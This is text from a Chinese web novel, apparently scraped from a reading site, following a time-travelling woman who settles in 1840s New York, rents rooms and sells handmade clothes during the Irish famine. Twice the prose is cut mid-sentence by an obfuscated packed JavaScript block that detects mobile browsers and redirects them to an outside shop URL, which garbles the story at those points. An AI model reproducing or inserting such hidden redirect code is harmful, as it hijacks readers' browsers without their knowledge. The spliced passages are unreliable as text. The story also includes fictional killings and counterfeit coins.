“麻烦送一份。”苏茜给了小费,发现还得继续去“兑换”钱币。她积攒的金币比银币多得多,但这个时代的银币和合金铜币太少了,得补充啊补充。是时候再次祭出当年自己曾大量仿的皮斯托尔金币! 还有银行券她只认英格兰银行的,所以银行业务只能去城里唯一一家英格兰银行的综合营业部,不仅折腾,还搞乱七八糟的限制! 似乎是现在这家银行在改组,因此很多业务停滞或是有上限。银行职员甚至“好心”地提醒苏茜可以去金银铺子试试。 这是一夜回到百年前吗?她气冲冲地找了一大圈,愣是没找到一家自己知道的美资银行,全是些百年后查无此人的小银行。对了,这些银行应该以后不能发行小额银行券了吧?她一张张看着这些好不容易弄到的一到五镑小额英格兰银行券,决定先全部用掉。这玩意比纸币还不保险,放个几百年都会成碎屑,还是早点花掉的好。 酒店没有内设正餐餐厅,早上也是颇为单调的欧式早餐,咖啡和早餐茶,煎蛋和腌肉,以及果酱面包。 苏茜现在的胃非常容易哄,毕竟曾经就吃土豆度日。而且可能是还在长身体的最后阶段,胃口非常好,连咖啡加茶加奶的混合物都全部喝光,其他食物也不浪费。要不是大脑在控制着,她能一口气放四块糖。但午餐跟晚餐选择就多了,每家餐厅能吃一周不腻,下个月继续吃。这就是灵魂跟胃不匹配的好处了:本苏嫌弃得要命,本茜觉得啥啥都好包括只放了一点点奶油和盐的土豆泥。 所以那些银行券都用来付旅馆费、买布料和吃。买布料而非买成衣或定做,是因为简单的衣服她能买了全套工具以及现在的“新式”手摇缝纫机自己做,复杂的礼服则压根不需要考虑。 但她还是拿着自己画的图去了本地裁缝铺,定做一件羊毛长外衣、一件粗呢大衣和一件原色山羊绒披肩样式外套,靴鞋若干,尺寸都放大、加长一些,没多少花哨装饰居然花了快一百镑。可以想象,自己在贝港外集市上买的衣服,在利城就是小摊贩穿的,到伦敦大概就是女工装了,但放在这个时间的法兰西乡下那叫财产! 接着她就听到去北美的蒸汽船的消息。南港出发,去纽约,不是埃利斯岛检查站。 要不要去那个自己也算是熟悉——是指几十年后——的城市定居?还是去自己曾经在这个年代“工作”生活过的镇子? 她犹豫了一天,还是决定去纽约。一是气候,二是经济,三是生活物资。接下来,这个日不落王国会因为爱尔兰的土豆、美国的棉花双重夹击下出现金融问题,最后导致颇严重经济危机,接着是社会问题。至于十几年后的南北战争,反正北方总是会赢的,纽约从没陷落过。而黑涩会这种东西,是从欧洲传过去的啊!爱裔、意裔、墨裔、百花齐放裔…… 西边大岛上的土豆饥荒的消息终于让普通中产也“有所耳闻”的时候,扭曲的报道开始大量出现。 【要解决饥荒,就应该取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226805|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消谷物法,允许粮食进口】 【不信新教的人口大量减少是好事】 【将那些能生十个孩子的健康女子送去澳大利亚,可以节省粮食并且解决当地的繁衍问题】 各种各样的评论看得苏茜没了脾气,仿佛那片土地上的天主徒就是几十年后某位首相评论南亚殖民地时说的那种“繁殖像兔子一样快的野蛮人”。 幸亏她随时可以改教派,而且长相偏英格兰地主生父,口音更是无可挑剔。但这里人的态度让自己不适,还不如直接去北美,那里一切恶意都会摆在明面上,而她也更容易应对——拳头、棍棒、砍刀、子.弹而已,本苏会怕吗?! * * * 马车辗转两天半,登上了一艘蒸汽帆船:比帆船快一半,比没有女士二等舱房的纯蒸汽船慢四分之一。而且由于要占一个舱,买的是两张票。 “女士,这是你的房间。”船员提着不算太沉的两个行李箱,领着苏茜上了一层甲板,还殷勤地指出餐厅、咖啡厅、吸烟室、牌室、盥洗室等等的位置。这艘船跟比泰坦尼克号当然不能比,但在同类客轮里算顶尖的,不枉她等了一个多月,也不枉一百多镑的船票钱——普通餐厅是含在船票里的。 给了几个合金币小费,船员挺高兴地走了,说明她给的小费金额在中产里不算少。 二等舱有小窗,桌椅床和蜡烛灯罩都是固定的,寝具……不知道有没有洗过、更不知道洗了有没有见太阳,反正苏茜不会去用。没有炉子,但有蒸汽管道带来的热度,因此在冬天没有炉子的船舱里还算暖和。她不知道十几镑的三等舱如何,想必饮食住宿和取暖条件会差不少。而一等舱的面积应该是自己这间小房间的四倍以上,有大窗户、专属甲板露台,还有专属仆人和送餐服务,因此票价好几百镑。 苏茜自己带了一堆苹果和瓶装菠萝,十几袋新鲜送到的长粒米,更不要说应有尽有的海带干,不过“种植园”里的长得不怎么样的蔬菜还没到能吃的时候。面包、腌肉、鸡蛋等等船上餐厅都有现成的,虽然单调,可都是含在船票里的,所以苏茜拿起来一点不手软。 其他人的说法是难怪这位腰这么粗,都是吃出来的。二等舱的人可不是一等舱,几乎没人带女伴、家庭教师等,女士们的腰肢要说多纤细也不见得,所以他们和她们最多背后窃窃私语当笑话看,不会舞到根本没怎么束身的苏茜面前。 她有一堆活要干,从种植园木架到走廊棚顶,从做衣服到扔垃圾以及整理收藏品。比如几百年前的书因为含有土壤不能吸收的成分,只能直接扔而不是烧了作绿肥,得再翻看一遍物尽其用。 另外,修炼冥想和练武是一样不能少的。所以苏茜每天日程排得满满,都没空给自己做吃的,只用餐厅里那几种食物加海鱼海带汤打发。 听说三等舱只有面包和冷水,不过硬麦面包倒是可以吃到饱,因为每个人整个航程平均也吃不了40公斤面包。二等舱的面包不错,除了酵母还放了一点油和糖,加上其他一些可以储存一个多月的食物。一等舱的听说更好,有苹果。 苏茜自己备着水果,还把临走时买的蔬菜做成菜干加到海带汤里吃,压根无所谓。她拿面包是做底料配餐的,腌肉过分难吃得连她这个身体都不喜欢,所以都是拿来当鱼饵——效果不佳,可总比直接扔了浪费好。有意思的是海上的船只居然不提供海鱼,所以她时不时划船出海捕鱼——渔网篓子等材料则是利港买的,比金属渔网轻不少,更有利网鱼而不是费劲捞鱼。还有就是化纤布,三十年后依旧能用来当床单、窗帘、打包布头甚至应急衣服,就是清洗的时候要小心。另外发电机、电器用品等果不其然都成了垃圾,倒是餐厨具基本都能用。 几千年了,她积累的餐具过多,以至于不得不扔掉没有价值或有瑕疵的,只留下古董、贵金属和一部分没有明显年代标志的成套用品。 一个多月的海船,苏茜完全没有其他人的无聊、倦怠、晕船、疾病各种问题——船上还病死了一个人,其在三等舱的家属自己也病了,当然没钱保存尸.体而直接海葬。 船上感冒横行期间,苏茜老习惯打包食物回舱房,话都不会多说一句,平时也不去二等舱甲板看千篇一律还可能飞溅到身上的冰冷海水。有无聊毒舌的妇人说她因为没有像样的外出衣服所以不出门装贞静。 苏茜懒得去理睬,八卦聊天就意味着病菌病毒的传播。所以那些人都感冒了,到上岸的时候有些人还在咳嗽甚至发热需要搀扶。 苏茜戴着略厚的面纱,裹得颇为厚实,提着一只行李箱火速下船。 这个时节的纽约比出发的港口“凉快”得多,加上一堆出租马车挤在一块拉客,事先安排的车都在后面根本看不见——那些腿上没穿什么、还要敞开前襟显出项链的女士们想必能感受大自然的森森寒意。真不知道同样是二等舱有什么好得瑟的! “去找个现在营业的餐厅,不需要穿礼服的那种。酒店餐厅也行。”苏茜塞过去一个女神银元,纽约英音腔。这个银元,咳,不记得什么时候买的仿版,而且是若干个版本都有,反正份量、材质一致,虽然是密封包装,但放了那么多年还是氧化了,洗白后得用专业仪器鉴定才能知道是仿制货。可惜手头没有女神金币的仿版。 车夫非常高兴,热情地向她推荐了好几家市区的酒店餐厅——现在其实还是早餐时间,正经餐厅还没营业呢!苏茜一个名字都没听过,随便选了个听上去有点女性化的名字。 果然,那个酒店的餐厅不仅对外供应早餐,还挺丰盛,溏心蛋、烤面包、沙拉、煎鱼……她的银币没有白花。 吃了一顿半个多美刀的“高级”早餐,苏茜拿到了找零的一把硬币,拎着箱子上了服务生帮忙叫的马车,二十美分去了最近的摩根银行。 箱子里只有一包金币,颇沉,去银行按重量兑换成金银美刀。今天之前的若干年,她还从没花过美刀金银币呢,真是新鲜!以后有机会要多买些仿版,不行定做好了,这一点比较早期的港城就做得挺好…… “女士,需要帮你叫辆车吗?” “不用,我的车在外面等。”苏茜随口道。然后去了大客户盥洗室,出来时两手空空,将总重超过8公斤的箱子放岛上——至于有没有人注意到并且会去找“遗失”的金银币就不关她的事了。这些钱,如果不买房子,不做奢侈的事情比如定做晚礼服,可以撑到纸钞发行。 苏茜其实对这个时代的这个城市是陌生的,陌生到对着有轨马车发愣。然后她干脆地顺着轨道走下去,路过书店时买了一份粗制滥造到让人无语的城市地图,她甚至都分辨不出布鲁克林和曼哈顿的边界,然后继续走,终于看到到一个疑似站点的地方。 谢天谢地,有指示牌和站名。可站名她有些似曾相识,有些完全陌生。但有个地名她是知道的,距离某一个时代的她住的酒店公寓不远。没多久,马车到了。苏茜上车,没人给她让座,不过她不在乎地跟售票员说了自己略微熟悉的站点,付钱。站了二十几分钟才到。 呃,错了。 现在没有大桥,只有渡船。 “不,不去,谢谢。”不去布鲁克林哈。她这是绕了城市一圈是吧?!从码头到河边,真的是没有一处熟悉的。 63.沉默的土豆(二) 北美的土豆也有晚疫病。但因为可以立刻换种其他作物,所以还不至于让农户陷入饥饿——穷一段时间是肯定的,可是跟爱尔兰饥殍遍野完全不是一回事。苏茜也看过文章,那个大岛从50万人口激增到800万,再减半……再也没有多起来过,与宗.教鼓励多生相悖呢! 这里肯定有统计数据的准确性问题,但即使纠正了也不能否认人口存在大起大落,因为她亲身经历过周围佃农人家从平均五口人增加到平均九口人,年轻孩子们互相结合继续当佃农、再生七个孩子,这样两代人就能翻一倍,比近现代华国和南亚更加极端。根据平分继承制度,祖父租赁耕种的土地到孙子辈一人几分之一,而且从良田到沼泽山地都有,房子也从几间屋变成一人一个草棚,最终大家越来越穷、只能靠种土豆单一作物。而由于土地都是英格兰人的,出产多就意味着交租多,佃农没有任何劳动积极性,即使知道可能会出问题甚至已经出问题了,仍然不知道如何应对、只能继续找死地种同一种土豆。 嗯,话说回来,如果不是生母的关系,她这个年纪搞不好要么难产死了,要么在怀第二个孩子,如果过了三十岁还没死就是妥妥的子孙满堂的“老”祖母。对了,低级神职经常对不识几个字、背不了多少经文的农人说要多生孩子才能得到神的眷顾,而女人就是生而受苦的、甚至难产死亡都是很好的牺牲精神…… 那是她第一次也是最后一次听这种中世纪的说教,让她反射性地想起来如果生孩子不痛苦万分的女人就是魔鬼、会被烧死的做法。她记得那个短暂的记忆里,自己杀了所有因为烧死她母亲而快活得像过节的男女老少,自己也伤重发高烧而死……反正那个极端黑暗的世纪她只“活”过两世,每次都极度糟糕,回想起来都暴躁。 哦,让自己暴躁,或者说是解决暴躁情绪的事情来了。 两个衣着还算整齐,但态度流里流气的年轻人拦住她。这条巷子没人经过啊?好!很好! 苏茜双手伸进手袋,伸出来时八个手指背面多了奇怪的“装饰”,手心还各握了一支特质的带柄小刺——这是结合了峨眉刺与忍者刺客武器的“小玩意”,可以刺、可以斩、可以投。 “姑娘,我看你过得拮据,要不要跟我们去个吃好穿好的地方啊?”两人青年觉得苏茜神情不太正常,一边问话,一边打算直接掳人。这类一身寒酸、手袋破旧的女孩子他们最近“送进去”了起码三个。 苏茜没说话,直接开干。 她亲自画图定制、做成后都没怎么见过血的连排指刺,一手四个不锈钢尖刺,一拳可以开至少两个血洞。所以她的“老旧”手袋不是布的,是两层牛皮——自己设计自己做。 两个青年甚至并不知道怎么回事就被打翻在地、刺断气管,然后被收走所有物品后扔进海里。 地面血迹不多。 没尸.体,没案件,更没人关心两个小混混失踪,大概就是这么回事。 苏茜平静地继续穿梭在街道中,终于看到自己有些熟悉的几栋建筑物。但曾经住过、待过、看过、路过的建筑大部分都没有。 她略茫然地找了家刚刚开始营业的餐厅吃晚餐。今天到现在只吃了一顿饭,运动量又大,所以不用管热量摄入问题。 一顿丰盛得不像女人食量的晚餐吃完,普通的布料店杂货铺都关门了,剧院夜店酒馆刚开始热闹。 苏茜转弯拐进巷子,回岛。她不想在住宿上花冤枉钱,可也不想每天找地方“消失”,所以找个单间住处还是需要的。 可单间又不能过分便宜,不然大概天天要打杀的,也不好啊不好。 至于买房,这时代的女性能否自己买卖房产是个问题。 但她并不很想去别的更封建的城市,所以在一条条街中穿过、时不时买份报纸、食品和生活用品的一周后——她每天只花不到两个小时,当然很慢——终于被她找到一栋也就是比贫民公寓好一点点的连排小楼。她真不记得这栋楼,很可能几十年后就拆了建高楼。 “你好,女士,我听前街的杂货店说这里有房间出租。”午后还算暖和的天气里,苏茜穿着粗呢大衣,戴着软帽,大衣下是自己加工做的毛呢及踝长裙,总体上就是中产的中等偏下阶层,不太宽裕又不穷。 “是的,你要看房子吗?”明显是管理员太太的中年女士略打量了下苏茜,就打开大门,“请进来看看吧。房间在三楼。” 有些发福的管理员太太走在木质楼梯上的响动很大,相比之下苏茜的脚步声接近于无,即使她穿的是尖头皮靴,大衣斜口袋里的手轻提裙角,因此一点灰也不会蹭到。 “就是这间。盥洗室在走廊这一头,冬天早晚都会生炉子。厨房在一楼楼梯后,每户一个小炉子,共有一个大炉子。顶楼的露台可以晾晒,请不要在房子里晾滴水的衣服,下雨时也不要打开窗户。” 房间是个小小单间,150平方英尺的样子,一床一柜一桌一椅就没多少空余地方了,床上有羽绒枕头和床单、但没有被子,窗帘的遮光效果也不错。但唯一的亮点是一个小壁炉。可能之前就是一间次卧或起居室,甚至窗台还有点飘窗的样子,可以摆个坐垫坐下。地上没有地毯,但地板跟家具一样质量还行,不是烂木头。房间里还有盏煤油灯。 “好的。请问这间房间一个月或半年付的话,房租怎么算?” 好大方的租客。管理员太太愣了下,迅速答道,“半年最低也要80,需要提前付。” 这房租在这个街区不算便宜,要不是没有独立的盥洗室,还能更高。 “我们签合同吧。”这是一笔不小的租赁呢。现在的80块比一百年后的值钱若干倍。 合同是早拟好的,就差时间金额。签完,苏茜数出16个金币。真是不习惯用贵金属货币呢。更不习惯早期的冲水马桶和浴桶!听说贫民公寓都是上百号人用一个户外厕所,还有很多没有窗户的房间要睡五个人。嗯,反正她有一座岛,只要不下雨,爱睡哪睡哪,睡露天一点问题也没有。 这个房间就是中产身份的象征。 “你什么时候搬过来?哦,你可以叫我的名字玛瑞亚,玛瑞亚-莫尔。” “我明天就搬过来。你可以叫我苏茜,苏茜-阿莱芬。”这个国家除了印第安人,其他都是移民及其后裔,所以没人知道阿莱芬其实是个佃农姓氏改的,她来美国之前也不叫苏茜。 “你是刚来的移民吗?” “是的,母亲过世后从苏格兰转道英格兰,再过来北美。” “哦,那么年轻就没了母亲,很难吧。” “还好,我生父给了我一笔钱。”其实很少,并且都给“父亲”和兄长了。 玛瑞亚不再说什么,生父这个词很说明问题了。一个有钱的英国人的私生女,大概这个身世,但得到的钱不算多,不然不会租这样的房间。她向新租客推荐了周围比较靠谱的店铺和商品,尤其是食品、床品、衣服、煤等,最后给了大门、房门、后门的钥匙。她的房间并不与后楼梯相连、更加安全,但也“失去了”在后街晾衣服的便利。 一边下楼,玛瑞亚一边跟苏茜介绍邻居们的情况,隔壁是对没有孩子的夫妻,斜对面是位寡居的中年女士,楼下是位单身汉和另一对夫妻带着孩子分别住两个大些的套房,玛瑞亚住一楼,阁楼是杂物间,各家可以放些不太值钱的东西。苏茜决定将空的行李箱放那边。 “你对门的克劳迪亚-珀锐尔也是单身女郎,是位旅店女主管,平时工作很辛苦,早上七点就要出门,晚上一般八点以后才回来,所以有声响你别介意。”不过周薪应该有二十块左右,算很好的待遇了。这栋房子的租客经济条件都还可以,都是月付或半年付,没一个是每周艰难挤出来房租的一家子底层劳工。 “我没问题,我也是早起的。”几个人共用一个盥洗室,这个频率让苏茜还是比较满意的。“不过我也打算去找个比如裁缝学徒的工作。总不能坐吃山空不是吗?现在的利率让人提不起精神。” 出了门,两人挥手道别。 苏茜则是到各个地方转悠,包括但不限于玛瑞亚推荐的店铺,还有稍微远一些的成衣店。附近可不是富豪聚集地,多数是中产的各个阶层,没有一栋大房子,有的联排窄得只有五米。再走三条街,就开始都是两层两底的小房子了,不过后巷棚户区要过河。 现在的纽约还不是高楼林立的大城市,而且案件将会越来越多。对了,居然有木仓店!真是太奇妙了。苏茜跑进去……然后,悻悻地,买了一把也就比燧发枪强一些的手拨左轮。还死贵。店主本着只赚钱不多话的风格,无视一位女士乱花钱的行为。 手拨,真的没玩过呢! 苏茜在自己岛上打掉二十发子.弹就找到了感觉,以及适合的距离和姿势。想起来了,带抑制器的马克沁还有好几十年才出现,自己甚至不一定能见到。另外,股灾这样的赚钱大利器也活不到。 倒是另一家杂货店里的铁棍让她颇感兴趣,掂了掂就买了。第二天早上,苏茜提了两个行李箱无声息地上了阁楼,在一小块似乎之前有放东西后来搬走的地方放下箱子,又静悄悄地离开了。厨房里应该有人,但楼道和走廊里没人。 今天要去那些成衣店问情况,在此之前先吃早饭。这个城市可不是中午起床的节奏,八点开始工作是非常普遍的,很多劳工六点多就开始干活了。 有的早餐摊位六点不到就开始出现,大多是几个几分钱填肚子的东西,八点后才逐渐让位给好一点的早餐店面包房,毕竟管理层不会那么早就开始工作。苏茜买了片厚切吐司,一口下去就是浓郁的奶酪味,能撑到十一多点不饿,她亲手花时间做也就是这个水平的,十美分的价格不宰人。 “……我用邻居好友的缝纫机,所以缝起来特别快。”苏茜展示了身上自制的衣服,除了束身衣,都是自制。“有单独缝线的活我也能带回去做,第二天拿来。” 成衣店的客户都是中产偏下层,卖不出多高的价,但衬衣加半身长裙或者一条棉布长裙得卖八块起步,日常出门装则是三十块起——质量比贝港外小镇的货色好一点点,价格则是高一倍以上。 最后成衣店老板提出来她可以寄卖,跟店里分成。谁也没提布料的事,因为从成衣店拿布料是跟自己的收入过不去。 苏茜没敢一开始就上外出的丝绸服装。她会做丝绸半身A字裙,但手艺一般般,更不会做礼服。好在有作弊装置:影视服装大全,塑料纸打印,部分配打版样图。 这家成衣店门面不大,但从束身衣到长袜、从帽子到围巾、从外出服到女仆装都有,房子跟她租的地方差不多,一楼改为成衣店,店主三代人都住二楼,三楼与阁楼出租。衣服都是工厂作坊、零散裁缝等送的货,其中相当部分是寄售的。 苏茜又做样子地搬了两个箱子过去,还将桌椅还给房东,腾出地方放缝纫机和配套剪裁桌子与小凳子。 缝纫机并不便宜,至少那家成衣店主人家没有,全部是手工,所以那家人起家就是靠男女主人手编蕾丝。现在机器织的服饰已经从羊毛长袜发展到毛衣,就是现在外面很少看见有人穿着毛衣在外面走动,花纹毛衣估计还得有好几十年才流行开。 “这个,整包都要了……21?还差一点,20码……对,这个,10码就够了……这几块零头布就给我打包做包裹吧。我没要你送货,这点卖不出去的布算什么?!”布料商人的仓库里,苏茜将两种格纹、两种田园风的布料,加上一些做衬的纯色料子塞满叫来的出租马车——这还是放了一批到岛上的结果,不然这辆小马车都没地方装——连脚踏板上都有个包裹。 布料商不见得多欢迎她这样一点空子都不给、还直接要去年的料子这种做法,可毕竟没赔本就是好事。等拿到一把金币而不是汇票的时候,立刻换成笑脸,祝苏茜生意兴隆、下次可以进更多的货。 这次大包小包的回来,终于被邻居看见了。 “哦!你是新来的租客吗?”拿着盘子关上门准备下楼的年轻女士很显然无法帮忙。 “是的,我叫苏茜-阿莱芬。”苏茜拎着第二批的三个包裹上楼。“你是珀锐尔小姐吧。我们下回聊。” “对,我是克劳迪亚-珀锐尔,下回空了聊。” 对方扫过苏茜手里的大包裹,苏茜扫过对方身上的绸裙,都决定自己很忙、很忙,没空聊天。 “莫尔太太,住我对面的是新来的移民吗?”珀锐尔小姐回忆邻居的衣着,不屑道。 “应该是,前不久从英格兰来的。”即使苏茜说自己苏格兰来的,但那口音很说明问题。“她搬进来前付了半年房租。” “……”珀锐尔小姐是月付房租。月付比半年付当然不划算,可她真的无法一口气拿出半年的房租,而且都是月底付本月房租的。她悻悻转身打开自己小炉子上的锅盖,决定讨厌这个新邻居。 苏茜才不会理会。她到现在也只碰到两位邻居,而且每天就烧两锅白开水,水都是自己岛上过滤后的雨水而非一楼后门水泵里那卫生标准不明的“自来水”——如果旁边有人,也会用水泵打半锅水,但这样的水她是不会碰的,全部用来冲洗马桶,洗衣服都不用。 没有管道的房子生活不算太便捷,有钱人家的都会雇仆人。这栋楼里的住户都没有仆人,大家用水得自己提上去,吃饭是买现成的面包或者楼下厨房自己做。大炉子还是有人用的,就是二楼那户人家跟管理员太太——他们怎么分配时间和燃料就不得而知——其他人最多用小炉子烧烧水热热菜。 这让人想起来海城原来租界内的弄堂生活,躲避战乱的人涌进本来一家人住一栋的房子,结果五六口人住一间,每天为了阳光、马桶、煤炉和水盆等等争执——一直住到四五十年后。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230690|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唯一不同的是炉子吧? 苏茜扫了眼大炉子就知道没有自己当年自制的炉子好。附近的三家面包店都是不知道怎么有那么大的脸将如此难吃的东西卖高价,唯一一家甜品店的东西吃了两口就咽不下第三口,这里的店如果是甜口的食物就拼命放糖,苏茜吃过一次就受不了了。 但纽约毕竟是纽约,除了贵些,什么都能买到。 包括去年的粳米。 “一块!只要一块!都拿走。”店主看着一整袋的东方大米发愁。本来以为是好货,结果卖不动。 于是苏茜整个扛走,转半个弯,在周围无人的房子角落迅速消失出现。 没有交通运输工具就是不便捷,也不安全。 “小妞,袋子里装的什么,拿出来给我们吃饭吧,我两天没好好吃饭了。” “哦,我的刀子也两天没有好好喝人血了。”苏茜冷笑着扔下袋子,一手匕.首,一手长针,手指上的哑光不锈钢尖刺在昏暗的光线中不那么显眼、但眼尖的人不会错过。 领头的有些犹豫,不过还是踏前一步,正想说话,一记匕.首划过来。他觉得自己武力不错,避开后正打算回击,结果胸口一阵刺痛,右肺上扎了一根长针,又被迅速拔出。鲜血立刻让深色有脏污的衣服上出现颜色更加糟糕的一圈。 苏茜抬脚踢开受伤但不一定立刻死掉的家伙,拎起袋子的时候另两个混混拔腿就跑。她懒得去追,转到街上,继续走一段,转弯,拦下一辆空马车,去另一家店。 北美这里大部分人都不清楚爱尔兰的土豆收成问题会对自己有什么影响,大家继续自己的忙碌生活——有钱人也是忙碌的,因为这里可没有世袭贵族,哪怕是有钱有闲的妇人也会在聚会交际的时候留心有用的消息。 比如自己印制假股票,拿赚来的钱贿.赂.法.官。苏茜印象里有这个案子,但不知道如此早,而且被传播得如此广。 “……所以我一直反对威利做场外买卖,谁也不知道真假。” “是啊,那些百万富翁还好,我们这样的人家损失几千元就得卖房卖地,去贫民公寓过活。” 两个穿着不错的妇人一边翻看新出来的服装,一边聊天,最后从一堆眼花缭乱的长裙里选了两条最喜欢的花纹,然后在店主太太的推销下,买了配套的腰带、短斗篷和尖头高跟鞋——因为总价不算高,两位妇人都没有表现出对性价比的不满。 等她们走了,店主太太才对假装也在看货物的苏茜道,“苏茜,不得不说,你的策略不错,一排各种花样,总有一款是喜欢的。” 用腰带微调尺寸的有腰带扣的宽裙腰、布料堆砌出的蓬蓬裙摆或是层次大裙摆,长度及地的可以自行裁剪的长度,最大限度减少人工费用,这样的裙子用料还不错,四到十二块一条,透着股“价廉物美”的气息,且从来不会卖完才补货,而是经常上新款,还会“搭送”衬裙、短上衣什么的。由于人工就是收入,苏茜这种成本定价的衣服虽然不时髦、不亮丽还略有些古怪,但对价格比较敏感的中等偏下顾客而言是不错的选择。 “谢谢。”苏茜在看过剩下货的时候就心算了报酬,接过报纸包的钱币后几秒就确认是对的。这家店做的是老顾客和固定供应商的生意,不搞欺诈。 店主太太挺喜欢苏茜的,因为对方能给店里带来收益还从不跟自己扯账目问题。 苏茜看见莫尔太太也穿过条自己做的裙子,大概穿了一个季度;另一件夹棉短斗篷则是穿到现在第二个冬天。 说到夹棉,也就是一层加工过的棉片,居然找得挺费劲的。尤其是根本不存在宽幅,她的手艺和机器都不足以支撑做棉衣,所以她就做了夹棉斗篷和长裙,自己做的自己穿,接着成衣店主一家上了年纪的两位女性都要买——整块的纯色棉布加单层棉片,缝纫机绗缝做工,加上单层印花棉布外裙,相当保暖,不上手不会知道其中的“古怪”,“仅仅”只要九块。富有的人可以冬天穿丝绸裙子、丝袜和绸缎鞋子,因为温暖的屋内到温暖的马车厢之间只有几级台阶的路程,但经常在冬天在外短途行走、或是乘没有暖炉的出租马车的中下层中产不行,正常人都做不到一层丝袜一双缎鞋地走在雪地。 苏茜拎着两篮子煤块,没什么声响地上三楼,进盥洗室,回岛放东西,再提着篮子下楼,出门买木头。这次就跑得远了,买了几段不成材的橡木。 “我楼上的租户上周突然说不租了,还硬是要回了半个月的房租!这位先生是律师助理,居然这样不讲信用……” 苏茜听到杂货店老板娘在跟熟客抱怨,顺便想找下一个租客,就凑上去,“请问是什么房子?我原来住的也快要到期了,房子不错,有壁炉,家具也是好的,就是对门租客经常带不同的男人回家挺讨厌的。” “啊,这位女士,”虽然年轻,但戴着帽子裹得厚实,看不出是太太还是小姐。“你要看看房子吗?哦,那位先生刚搬走,稍微有些乱,但我会打扫好的。” “好的,能否请你让我看一下。” 这个街区档次跟自己现在住的差不多,但可能贵不少,因为房间大些,带个独立的小盥洗室但没有浴缸,另外因为窗子对着街心,居然还有阳光! “这间屋子最好的地方就是盥洗室和采光。”老板娘兼房东得意洋洋。“二楼的小起居室是三位房客共用的,还有个小炉子,冬天既可以取暖,又可以烧水,不用到楼后面的厨房。”她闭口不提坚持离开的先生嫌弃这房子不能好好洗澡,房客包括房东家都喜欢蹭别人放在小炉子里没烧完的煤,另外楼上的三个小孩喜欢夜间蹦跳喊叫,大清早的铁床架又会砰砰地响。 苏茜篮子放在楼梯口没有拎上来,她看了一圈,张口就问,“半年提前付房租,提前搬走不会跟你要剩余的租金,多少钱?” 确实比原来的房租贵不少,以苏茜明面上的收入还是可以支撑的——经过这么久的“实践”,苏茜做的衣服已经不再奇奇怪怪了,销售也好了些,还开始自己设计、找地下室鞋匠铺做不同尺码的丁字系带中跟皮鞋搭售,卖得不错。 双方很快签了契约——同样是事先准备好的基础条款,提前走不得要回房租的条款被房东亲手加进去,搞得签字的地方都不够——日期是今天,这一点其实房东耍了贱招。 拿到钥匙后,苏茜直接将木头放进房间——房间里有个正经壁炉。然后回另一边的住处,将私人用品全部收到岛上,然后去跟管理员太太说自己下个月到期不续租。 管理员太太早习惯了租客的来来去去,但很喜欢苏茜送她的一小瓶葡萄酒作为临别礼物。“下个月一号,我会把钥匙放在桌上的。” “好的,苏茜。我会想念你的。” “我也是。”就是管理员没有多少话语权,很多事情无法做主,比如肮脏的盥洗室,或是疑似堕落的对门邻居。 挺可惜的。 64.沉默的土豆(三) 不论哪个角度,土豆都是好东西。 纽约的城市供应已经算是最好的,但冬季依旧缺乏新鲜蔬果,只有不便宜的罐头。苏茜只买水果罐头,两天一罐绝不会吃太多。但蔬菜除了买的土豆等少数几样素菜,就是自己岛上种植园里的那些。 岛上不是种植多数作物的好地方,四季分明、雨水过多、光照不足。可仍然有不少喜阴喜湿、对阳光没啥要求的蔬菜——顶棚只有稀疏木条一部分阻挡风雨但多少有些光照,到了夜间直接再盖个顶棚避免雨水过多。 另外,山洞里长着唐人街买来的黄豆绿豆发出来的豆芽菜。冬天的生鲜蔬菜一半得靠豆芽。 上辈子的胶靴全部成了垃圾,但整块木头做的厚木鞋依旧好使、除了漆都没了,踩在湿泥里,只要拔出来的时候小心点,用完洗净晾干放着就好。何况种植园的田垄间有水泥“过道”,与自己铺的一条连接山洞、石屋、出海海滩和贝壳礁石的水泥道相连。 苏茜简单清洗撕小午餐所需两种叶菜的淡绿叶子——阳光不好的环境中,似乎绿叶菜的绿色都偏淡——打开煤炉上的鸡汤锅盖,用大勺舀了鸡汤加在淘过的大米里,再加盐、橄榄油、胡萝卜块和叶菜,一起装砂锅不加盖地放进预热好的烤炉。 等从炉门缝能闻到香味后拿出来。喷香略软烂的米饭,配上土豆甘蓝鸡肉汤,完美的午餐。 吃完洗衣晾晒,清扫石屋,烧水泡茶,练武锻炼,洗头洗澡,修炼冥想。就到了收衣服的时间——今天岛上没下雨。晚饭就吃燕麦粥,然后在现世中烧着整块橡木的壁炉房间里睡觉——就怕有什么动静,自己睡岛上时错过就不好说,何况这个房间确实不错,跟价格相配。 大清早,不到六点,楼上天花板开始咚咚响,苏茜也起来。拿炉边微温的水洗漱,出门买菜买面包,回来清理草木灰放岛上做绿肥,在壁炉里加木头重新烧火,回岛上生煤炉煮牛奶咖啡,加热烤炉,清理买的菜,将牛肉随便切块放进过滤好的清水浸掉血水跟腥气——过滤雨水的滤材是她上辈子精心准备的,大小过滤池及水缸等也是重新弄过的。今天买到一小桶附近产的便宜葡萄酒——便宜无好货,用来代替料酒做肉菜倒挺合适。 洗干净手,准备剪裁。因为取巧的尺寸设计,苏茜不需要量体裁衣——她也不怎么会——加上式样就那么些种类,量好一个,可以同时剪十块料子,也就是同时做十件花样材质不同、款式尺码完全一样的衣服。 